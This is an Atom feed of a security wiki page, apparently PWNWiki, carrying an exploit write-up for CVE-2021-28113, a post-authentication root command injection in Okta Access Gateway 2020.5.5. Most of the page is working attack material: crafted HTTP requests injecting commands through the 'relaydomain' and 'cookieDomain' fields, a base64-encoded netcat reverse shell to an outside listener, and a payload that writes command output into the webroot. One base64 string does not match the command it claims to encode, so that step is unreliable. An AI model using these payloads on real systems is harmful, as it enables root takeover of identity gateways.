<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-28113_Okta_Access_Gateway_2020.5.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-28113 Okta Access Gateway 2020.5.5 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-28113_Okta_Access_Gateway_2020.5.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-28113_Okta_Access_Gateway_2020.5.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T22:17:14Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-28113_Okta_Access_Gateway_2020.5.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=6609&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;&lt;pre&gt; Okta Access Gateway v2020.5.5 Post-Auth Remote Root RCE  CVE-2021-28113  ======= Details =======  There are two command injection bugs can that be triggered after authen...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-28113_Okta_Access_Gateway_2020.5.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=6609&amp;oldid=prev"/>
		<updated>2021-07-10T02:05:26Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;&amp;lt;pre&amp;gt; Okta Access Gateway v2020.5.5 Post-Auth Remote Root RCE  CVE-2021-28113  ======= Details =======  There are two command injection bugs can that be triggered after authen...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;br /&gt;
Okta Access Gateway v2020.5.5 Post-Auth Remote Root RCE&lt;br /&gt;
&lt;br /&gt;
CVE-2021-28113&lt;br /&gt;
&lt;br /&gt;
=======&lt;br /&gt;
Details&lt;br /&gt;
=======&lt;br /&gt;
&lt;br /&gt;
There are two command injection bugs can that be triggered after authenticating to the web UI.&lt;br /&gt;
Since the injection occurs when a script is executed with sudo, the commands are ran with root&lt;br /&gt;
privileges.&lt;br /&gt;
&lt;br /&gt;
BUG #1 - relay&lt;br /&gt;
&lt;br /&gt;
Command injection as root in Applications via the 'relaydomain' field when passing&lt;br /&gt;
parameters to generateCert.sh. This is blind injection, so without monitoring logs or&lt;br /&gt;
local execution instrumentation, the output will not simply returned in the response.&lt;br /&gt;
&lt;br /&gt;
Also, the included 'nc' binary that the system image includes has the -e flag available&lt;br /&gt;
which enables an exploitation easier via connect back shell.&lt;br /&gt;
&lt;br /&gt;
[Request]&lt;br /&gt;
&lt;br /&gt;
POST /api/v1/app/idp/[valid-IDP] HTTP/1.1&lt;br /&gt;
Host: gw-admin.domain.tld&lt;br /&gt;
Content-Type: application/json;charset=utf-8&lt;br /&gt;
X-CSRF-TOKEN: [placeholder]&lt;br /&gt;
Content-Length: 134&lt;br /&gt;
Cookie: CSRF-TOKEN=[placeholder]; JSESSIONID=[placeholder]; SessionCookie=[placeholder]&lt;br /&gt;
&lt;br /&gt;
{&amp;quot;settings&amp;quot;:&lt;br /&gt;
{&amp;quot;label&amp;quot;:&amp;quot;test&amp;quot;,&lt;br /&gt;
&amp;quot;type&amp;quot;:&amp;quot;CERTHEADER2015_APP&amp;quot;,&lt;br /&gt;
&amp;quot;relaydomain&amp;quot;:&amp;quot;..$(whoami)&amp;quot;, &amp;lt;-- HERE&lt;br /&gt;
&amp;quot;groups&amp;quot;:[],&lt;br /&gt;
&amp;quot;handlers&amp;quot;:{}}&lt;br /&gt;
,&amp;quot;policies&amp;quot;:[{}]}&lt;br /&gt;
&lt;br /&gt;
[Response /w local instrumentation for monitoring]&lt;br /&gt;
&lt;br /&gt;
pid=23033 executed [/bin/bash /opt/oag/bin/generateCert.sh -w -d .root ]&lt;br /&gt;
&lt;br /&gt;
[Quick testing]&lt;br /&gt;
&lt;br /&gt;
&amp;quot;relaydomain&amp;quot;:&amp;quot;..$(reboot)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
and the system should reboot.&lt;br /&gt;
&lt;br /&gt;
[Exploitation for reverse shell]&lt;br /&gt;
&lt;br /&gt;
Note: for some bizzare reason, this payload worked for a period of time during testing, but was not generally reproducible afterwards.&lt;br /&gt;
&lt;br /&gt;
1) generate base64 for the connect back command to be executed&lt;br /&gt;
&lt;br /&gt;
$ echo -n &amp;quot;nc 10.0.0.111 5000 -e /bin/bash&amp;quot; | base64&lt;br /&gt;
bmMgMTAuMTAuMTAuMTc5IDU1NTUgLWUgL2Jpbi9iYXNo&lt;br /&gt;
&lt;br /&gt;
2) start a listener&lt;br /&gt;
&lt;br /&gt;
$ nc -l -p 5000&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
3) make the request with the payload (.. is required due to how it parses domains)&lt;br /&gt;
&lt;br /&gt;
..$(echo${IFS}'bmMgMTAuMC4wLjExMSA1MDAwIC1lIC9iaW4vYmFzaA=='&amp;gt;test;$(base64${IFS}-d${IFS}test))&lt;br /&gt;
&lt;br /&gt;
4) get a root shell from the server&lt;br /&gt;
&lt;br /&gt;
* connection from 10.0.0.77 *&lt;br /&gt;
python -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;br /&gt;
&lt;br /&gt;
[0] root@oag.okta.com;/root#&lt;br /&gt;
&lt;br /&gt;
BUG #2 - cookie&lt;br /&gt;
&lt;br /&gt;
Command injection as root in Identity Providers via the 'cookieDomain' field when passing&lt;br /&gt;
parameters to generateCert.sh.&lt;br /&gt;
&lt;br /&gt;
[Request]&lt;br /&gt;
&lt;br /&gt;
POST /api/v1/setting/idp/local HTTP/1.1&lt;br /&gt;
Host: gw-admin.domain.tld&lt;br /&gt;
Content-Type: application/json;charset=utf-8&lt;br /&gt;
X-CSRF-TOKEN: [placeholder]&lt;br /&gt;
Content-Length: 222&lt;br /&gt;
Cookie: CSRF-TOKEN=[placeholder]; JSESSIONID=[placeholder]; SessionCookie=[placeholder]&lt;br /&gt;
&lt;br /&gt;
{&amp;quot;subCategory&amp;quot;:&lt;br /&gt;
&amp;quot;IDP_SAML_LOCAL&amp;quot;,&lt;br /&gt;
&amp;quot;json&amp;quot;:{&lt;br /&gt;
&amp;quot;name&amp;quot;:&amp;quot;Local OAG IDP&amp;quot;,&lt;br /&gt;
&amp;quot;host&amp;quot;:&amp;quot;https://google.com&amp;quot;,&lt;br /&gt;
&amp;quot;cookieDomain&amp;quot;:&amp;quot;$(uname${IFS}-n)&amp;quot;, &amp;lt;-- HERE&lt;br /&gt;
&amp;quot;nameIDFormat&amp;quot;:&amp;quot;urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified&amp;quot;,&lt;br /&gt;
&amp;quot;metadata&amp;quot;:{}},&lt;br /&gt;
&amp;quot;$edit&amp;quot;:true}&lt;br /&gt;
&lt;br /&gt;
[Response /w local instrumentation for monitoring]&lt;br /&gt;
&lt;br /&gt;
pid=22822 executed [/bin/bash /opt/oag/bin/generateCert.sh -w -d Linux oag 3.10.0-957.27.2.el7.x86_64&lt;br /&gt;
#1 SMP Mon Jul 29 17:46:05 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux uid=0(root) gid=0(root) groups=0(root) ]&lt;br /&gt;
&lt;br /&gt;
[Quick testing]&lt;br /&gt;
&lt;br /&gt;
&amp;quot;cookieDomain&amp;quot;:&amp;quot;$(reboot)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
and the system should reboot.&lt;br /&gt;
&lt;br /&gt;
[Exploitation for executing commands with output in the webroot]&lt;br /&gt;
&lt;br /&gt;
Same note as the previous one; for some reason, this payload worked for a period of time during testing, but then stopped fully working (the bug was still there just less exploitable).&lt;br /&gt;
&lt;br /&gt;
1) generate base64 for &amp;quot;ls -al /root&amp;quot; to be written to a location accessible via web request&lt;br /&gt;
&lt;br /&gt;
$ echo -n &amp;quot;script -q -c ls\$IFS-al\$IFS/root /opt/oag/simpleSAMLphp/www/test.php&amp;quot; | base64 -w0&lt;br /&gt;
c2NyaXB0IC1xIC1jIGxzJElGUy1hbCRJRlMvcm9vdCAvb3B0L29hZy9zaW1wbGVTQU1McGhwL3d3dy90ZXN0LnBocA==&lt;br /&gt;
&lt;br /&gt;
2) make the request with the payload&lt;br /&gt;
&lt;br /&gt;
$(echo${IFS}'c2NyaXB0IC1xIC1jIGxzJElGUy1hbCRJRlMvcm9vdCAvb3B0L29hZy9zaW1wbGVTQU1McGhwL3d3dy90ZXN0LnBocA=='&amp;gt;test;$(base64${IFS}-d${IFS}test))&lt;br /&gt;
&lt;br /&gt;
3) check https://gw-admin.domain.tld/auth/test.php for the output of the command&lt;br /&gt;
&lt;br /&gt;
===&lt;br /&gt;
Fix&lt;br /&gt;
===&lt;br /&gt;
&lt;br /&gt;
The cookie bug was a &amp;quot;known issue&amp;quot; and fixed in v2020.9.3 and the relay bug was also fixed and no longer works on the latest v2021.2.1.&lt;br /&gt;
&lt;br /&gt;
https://www.okta.com/security-advisories/cve-2021-28113/&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>